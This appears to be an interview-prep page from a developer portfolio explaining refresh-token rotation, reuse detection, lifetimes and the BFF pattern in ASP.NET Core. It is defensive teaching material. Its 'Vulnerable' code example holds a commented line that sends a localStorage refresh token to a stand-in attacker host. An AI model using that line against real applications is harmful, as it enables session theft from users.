📁 Sangam Dhakal - Portfolio v2.0 - Netscape Navigator 4.0
_
□
×

📚 Interview question

How should refresh tokens work? Explain refresh token rotation and reuse detection, sensible lifetimes for access and refresh tokens, and where a single-page app should keep its tokens, including why the backend-for-frontend (BFF) pattern is now recommended.

Refresh tokens: purpose, rotation, reuse detection, lifetimes, sender-constraining, and token storage for SPAs with the BFF pattern in ASP.NET Core.

Mid-Level Security Intermediate bff oauth2 refresh-tokens security spa token-storage

🎯 Key points

  • Short access token (5-15 min) + longer refresh token for the session
  • A long-lived refresh token is the most valuable credential: protect it in storage and in logs
  • Rotation: each refresh returns a new refresh token; the old one is invalidated
  • Reuse detection: an old token presented again revokes the whole token family
  • Absolute session lifetime plus idle timeout, not infinite sliding
  • OAuth 2.1 / RFC 9700: public-client refresh tokens must be rotated or sender-constrained (DPoP, mTLS)
  • BFF: the server holds tokens, the browser holds an HttpOnly SameSite cookie
  • Revoke refresh tokens on logout, password change and suspected compromise

⏱ 30-second answer

A refresh token lets a client get new short-lived access tokens without asking the user to sign in again. Because it is long-lived, it is the most valuable token to steal.

  • Rotation: every refresh returns a new refresh token and invalidates the old one. Reuse detection: if an old one is used again, someone has a copy, so the server revokes the whole token family.
  • Lifetimes: access tokens 5–15 minutes; refresh tokens bounded by an idle timeout and an absolute session limit.
  • Storage: in a SPA, anything JavaScript can read, XSS can steal. The BFF pattern keeps tokens on the server and gives the browser only an HttpOnly, Secure, SameSite cookie.

The trade-off: a BFF adds a server hop and session state, in exchange for tokens that never reach the browser.

🗣 Full answer (senior)

How I would answer this in an interview

"Access tokens should be short-lived because they can't be revoked. Refresh tokens are how you get a long session anyway: when the access token expires, the client posts the refresh token to the token endpoint and gets a new access token. That makes the refresh token the crown jewel. So I want rotation, where every use returns a brand-new refresh token and the old one becomes invalid, and reuse detection: the server remembers the chain, and if an already-used token comes back, either the attacker or the real client is replaying it, so it revokes the whole family and forces a sign-in. On top of that I want two limits: an idle timeout, say 24 hours without use, and an absolute lifetime, say 7 or 30 days depending on risk, so a session can't slide forever.

For example, at [company] our SPA kept a refresh token in localStorage. A stored XSS in a [comment field] would have let any script read it and keep a session alive indefinitely. I moved us to a BFF: an ASP.NET Core host that runs the OIDC code flow as a confidential client, stores tokens in the server-side session, gives the browser a __Host- cookie that is HttpOnly, Secure and SameSite=Strict, and proxies /api calls with YARP, attaching the access token and refreshing it on the server. [Result: the follow-up pen test found no token exposure and we deleted ~400 lines of token-handling JavaScript.]

The mistake I see is treating rotation as optional for public clients, or 'refreshing' by just extending the same token forever. The senior line: the browser is hostile territory, so the best token storage in a SPA is no tokens at all."


Lifetimes I start from

Token Typical lifetime Why
Access token 5–15 minutes Can't be revoked; limits damage
Refresh token idle timeout 8–24 hours (web), up to 30 days (mobile) Abandoned sessions die
Absolute session lifetime 1–30 days by risk Forces periodic re-authentication
BFF session cookie Matches the refresh token's absolute limit One session concept for the user

Storage options for a SPA

Where XSS can read it? CSRF risk Verdict
localStorage / sessionStorage Yes No Avoid for refresh tokens
JavaScript memory only Yes, while the page runs No Acceptable for short access tokens, lost on reload
HttpOnly cookie holding the token, sent to the API No Yes, needs SameSite + antiforgery Better, but the API must accept cookies
BFF: server-side tokens + session cookie No Mitigated by SameSite and an antiforgery header Recommended (IETF 'OAuth for Browser-Based Apps')

Rotation and reuse detection

RT1 -> (AT2, RT2)   RT1 marked used
RT2 -> (AT3, RT3)   RT2 marked used
attacker replays RT1 -> reuse detected -> revoke RT1..RT3 family -> user must sign in

Production example

After moving [company]'s portal to a BFF, the browser held one [~200-byte] cookie and no tokens; the server refreshed access tokens [~3,000 times an hour] with a distributed token cache, adding [~4 ms] p95 to proxied calls.

🔍 What the interviewer is checking

Checks that the candidate treats refresh tokens as high-value credentials and can design rotation, lifetimes and browser storage defensibly.

Green flags

  • Explains rotation and reuse detection with token families
  • Gives concrete lifetimes with an absolute limit
  • Recommends the BFF pattern and explains CSRF protection for it
  • Mentions revocation on logout and sender-constrained tokens (DPoP)

Red flags

  • Stores refresh tokens in localStorage and calls it fine because of HTTPS
  • Long-lived access tokens 'to avoid refresh complexity'
  • No idea how to revoke a session

📚 Learn in depth

1. Why two tokens

access token  : sent on every API call, validated locally, short  -> exposure small
refresh token : sent only to the token endpoint, checked there   -> revocable, long

The split gives revocation without a per-request lookup: the authorisation server checks the refresh token, so revoking it ends the session within one access-token lifetime.

2. Rotation and families

The server stores a record per refresh token: id, family_id, user, client, expires, consumed_at. On refresh it checks the token is unexpired and unconsumed, marks it consumed, and issues a new one in the same family. A consumed token presented again revokes the family. Concurrency is the catch: two browser tabs refreshing at once look like reuse, so implementations allow a short grace window (Duende IdentityServer and Auth0 both offer one) or serialise refreshes on the client or BFF.

3. Sender-constraining

Rotation limits replay; binding prevents it. DPoP (RFC 9449) makes the client sign each request with a private key, and the token is bound to that key's thumbprint, so a stolen token is useless without the key. mTLS-bound tokens (RFC 8705) do the same with client certificates for server clients. OAuth 2.1 requires refresh tokens for public clients to be either sender-constrained or rotated.

4. The BFF in ASP.NET Core

Browser --cookie--> BFF (ASP.NET Core)
                     |-- AddOpenIdConnect (confidential client, code + PKCE)
                     |-- tokens in server session / distributed cache
                     |-- YARP: /api/** -> downstream API, adds Bearer AT
                     '-- refreshes AT using RT before expiry

CSRF protection comes from SameSite=Strict or Lax plus requiring a custom header (for example X-CSRF: 1) on API calls, which a cross-site form can't send without a CORS preflight. Libraries such as Duende.BFF package this; a hand-rolled version is cookie + OIDC + YARP with a transform that attaches the token.

5. Microsoft Entra ID specifics

Entra ID returns a new refresh token on each redemption. Refresh tokens issued to SPAs (redirect URIs of type SPA) have a fixed 24-hour lifetime, which is one reason SPA sessions there need the user's IdP session to stay alive; confidential clients get longer-lived ones. Continuous Access Evaluation can revoke sessions quickly for supported resources.

Try it yourself

  1. Implement rotation with a RefreshTokens table in EF Core and write a test where the old token is replayed and the family is revoked.
  2. Open two tabs and refresh at once; observe false reuse detection, then add a 30-second grace window.
  3. Build a minimal BFF with cookie + OIDC + YARP and confirm in dev tools that no token appears in browser storage.
  4. Add SameSite=Strict and a required X-CSRF header; try a cross-site form POST and see it rejected.
  5. Measure p95 latency of proxied calls with and without the BFF using a simple k6 script.

💻 Code

Vulnerable: a SPA keeps tokens where any injected script can read them.

// Exploit in one line: an injected script reads localStorage and sends it away.
// fetch('https://attacker.example/c?t=' + localStorage.getItem('refresh_token'))
localStorage.setItem('refresh_token', response.refresh_token);

Fixed: an ASP.NET Core BFF holds the tokens; the browser only has an HttpOnly cookie.

// Program.cs (.NET 10) - BFF host. Packages: Yarp.ReverseProxy, Microsoft.AspNetCore.Authentication.OpenIdConnect
using Microsoft.AspNetCore.Authentication;
using Microsoft.AspNetCore.Authentication.Cookies;
using Microsoft.AspNetCore.Authentication.OpenIdConnect;
using Yarp.ReverseProxy.Transforms;

var builder = WebApplication.CreateBuilder(args);

builder.Services.AddAuthentication(o =>
    {
        o.DefaultScheme = CookieAuthenticationDefaults.AuthenticationScheme;
        o.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;
    })
    .AddCookie(o =>
    {
        o.Cookie.Name = "__Host-bff";
        o.Cookie.SameSite = SameSiteMode.Strict;
        o.Cookie.SecurePolicy = CookieSecurePolicy.Always;
        o.ExpireTimeSpan = TimeSpan.FromHours(8);   // idle limit with sliding expiry
    })
    .AddOpenIdConnect(o =>
    {
        builder.Configuration.Bind("Oidc", o);       // Authority, ClientId, ClientSecret
        o.ResponseType = "code";
        o.SaveTokens = true;                         // tokens live in the server-protected ticket
        o.Scope.Add("offline_access");
        o.Scope.Add("api://orders/Orders.Read");
    });

builder.Services.AddAuthorization();
builder.Services.AddReverseProxy()
    .LoadFromConfig(builder.Configuration.GetSection("ReverseProxy"))
    .AddTransforms(ctx => ctx.AddRequestTransform(async t =>
    {
        // Attach the access token server-side; refreshing it is omitted for brevity
        // (use a token management library or a refresh handler in real code).
        var token = await t.HttpContext.GetTokenAsync("access_token");
        if (token is not null)
            t.ProxyRequest.Headers.Authorization = new("Bearer", token);
    }));

var app = builder.Build();
app.UseAuthentication();
app.UseAuthorization();

// Require a custom header so a cross-site form can't call the API with the cookie.
app.MapReverseProxy(proxy => proxy.Use(async (ctx, next) =>
{
    if (!ctx.Request.Headers.ContainsKey("X-CSRF")) { ctx.Response.StatusCode = 400; return; }
    await next();
})).RequireAuthorization();

app.Run();

⚠ Common mistakes

  • Mistake: Keeping refresh tokens in localStorage. Why it is wrong: any XSS, malicious package or browser extension can read and replay them for days. Instead: a BFF, or memory-only storage with rotation for public clients.
  • Mistake: Reusing the same refresh token forever. Why it is wrong: a stolen copy works as long as the real one does and the theft is never detected. Instead: rotate on every use and revoke the family on reuse.
  • Mistake: Infinite sliding sessions. Why it is wrong: an attacker who refreshes regularly keeps access indefinitely. Instead: an absolute lifetime that forces re-authentication.
  • Mistake: Not handling concurrent refreshes. Why it is wrong: two tabs refreshing together trigger reuse detection and log the user out. Instead: a short grace period or a single refresh path in the BFF.
  • Mistake: Forgetting to revoke refresh tokens on logout and password change. Why it is wrong: the session survives the user's attempt to end it. Instead: call the IdP's revocation endpoint (RFC 7009) and change the security stamp.
  • Mistake: Logging token endpoint requests and responses. Why it is wrong: refresh tokens end up in Application Insights. Instead: scrub refresh_token, access_token and code in logging and telemetry processors.
  • Mistake: Building a BFF without CSRF protection. Why it is wrong: the cookie is sent automatically, so a cross-site form can call the proxied API. Instead: SameSite plus a required custom header or antiforgery token.

🏛 Senior insight: trade-offs

Refresh token design is risk management: pick lifetimes from the cost of a stolen session and the annoyance of re-login, and write them down. For browser apps the industry has converged on the BFF (the IETF 'OAuth 2.0 for Browser-Based Applications' draft ranks it first), because no client-side storage survives XSS. The cost is real: a server, sticky session data or a distributed cache, and a hop on every API call.

Option When it fits Cost When not to
BFF with server-side tokens SPAs with sensitive data, Australian banking or health apps Server hop, session store, more infra Purely public data, static hosting only
Public client with rotation + memory storage SPAs without a backend, lower risk XSS still steals live tokens Regulated data
Native mobile with rotation + secure enclave storage (Keychain/Keystore) Mobile apps Platform code Never put tokens in plain shared preferences
DPoP-bound tokens High-value APIs where the IdP supports it Client key management, IdP support When the IdP doesn't support it yet

Measure: refresh rate per user, reuse-detection events (alert on spikes), and the proportion of sessions hitting the absolute limit.

🔗 Follow-ups the interviewer may ask

  1. When: Candidate says revoking the refresh token ends the session Why: Checks they understand the access token remains valid until expiry
    How to answer

    You can't change or recall a JWT once issued, so revocation means managing state outside the token. Keep access tokens short (5–15 minutes) and revoke the refresh token or session at the IdP, so no new access tokens are issued and access ends within one token lifetime. For immediate effect on high-risk APIs, keep a deny-list in Redis: revoked jti values with a TTL equal to the token's remaining lifetime, or a per-user 'tokens issued before' timestamp compared with iat, checked in JwtBearerEvents.OnTokenValidated (a sub-millisecond lookup; fail closed for admin and payment APIs). Microsoft Entra ID's Continuous Access Evaluation lets supported resources (for example Exchange Online, SharePoint and Graph, or your API if it implements claims challenges) reject tokens soon after events such as account disable or password reset. For the strictest cases, use reference tokens checked by introspection (RFC 7662).

  2. When: Candidate mentions short-lived JWT access tokens Why: Checks JWT validation and lifetime trade-offs
    How to answer

    A JWT is three base64url parts, header.payload.signature. The header says which algorithm and key (alg, kid) signed it; the payload holds claims (iss, aud, sub, exp, scopes); the signature proves nobody changed them. It is signed, not encrypted, so anyone holding it can read it: no personal or secret data.

    • RS256/ES256: the identity provider signs with a private key and APIs verify with the public key from its JWKS endpoint. HS256 uses one shared secret, so every verifier could also forge tokens.
    • In ASP.NET Core, AddJwtBearer with Authority and Audience validates issuer, audience, lifetime and signature (with a 5-minute ClockSkew).

    The trade-off: validation is local and fast, but a stolen token is valid until exp, so keep access tokens short-lived.

🛠 Real-world problems: how you handle them

Refresh tokens in localStorage exposed by a stored XSS
Situation
A [customer self-service] SPA with [~25,000] monthly users stored access and refresh tokens in `localStorage`; refresh tokens did not rotate and lasted [90 days]. A bug bounty report showed a stored XSS in [the profile 'display name' field].
Signals
Bug bounty report with a proof of concept that read `localStorage`; Application Insights showed refresh requests for [a handful of] users from IP ranges in [unexpected countries]; IdP sign-in logs showed the same refresh token redeemed from two different client IPs.
Investigation
Reproduced the XSS in a test environment with Burp Suite; reviewed IdP sign-in logs for token redemptions by user and IP; checked whether refresh tokens rotated (they didn't); listed affected users by correlating unusual IPs; assessed under the NDB scheme whether personal information was accessed and whether serious harm was likely.
Resolution
Immediately fixed the XSS (output encoding, removed an `innerHTML` assignment), revoked all refresh tokens for affected users and forced re-login for everyone, and enabled rotation with reuse detection at the IdP. Over the next sprint moved the app to a BFF so tokens no longer reached the browser, and added a strict CSP.
Prevention
CSP with nonces and report-only monitoring first; an ESLint rule banning `innerHTML` and `dangerouslySetInnerHTML` without review; alerts on refresh-token reuse events; token lifetimes recorded in an ADR; a threat-model review for any new token storage.

How to tell it (STAR)

**S:** A bug bounty report showed a stored XSS in our [self-service portal], and because refresh tokens sat in `localStorage` for [90 days] without rotation, a script could have kept sessions alive indefinitely. **T:** I led the technical response and the long-term fix. **A:** We patched the XSS the same day, revoked refresh tokens and forced re-login, turned on rotation with reuse detection, and worked with [the privacy officer] to assess the incident against the NDB scheme. I then built a BFF so the browser held only an `HttpOnly` cookie, and added a CSP. **R:** We confirmed [no] customer data was accessed, the re-test found [no] token exposure, and the CSP report stream caught [two] further injection attempts in the following [quarter].

↩ Usually asked after

More in Authentication

Last updated 23 Nov 2026.

🌐 Sangam's Webring

⏪ Previous 🏠 Main Next ⏩
💬 Chat with me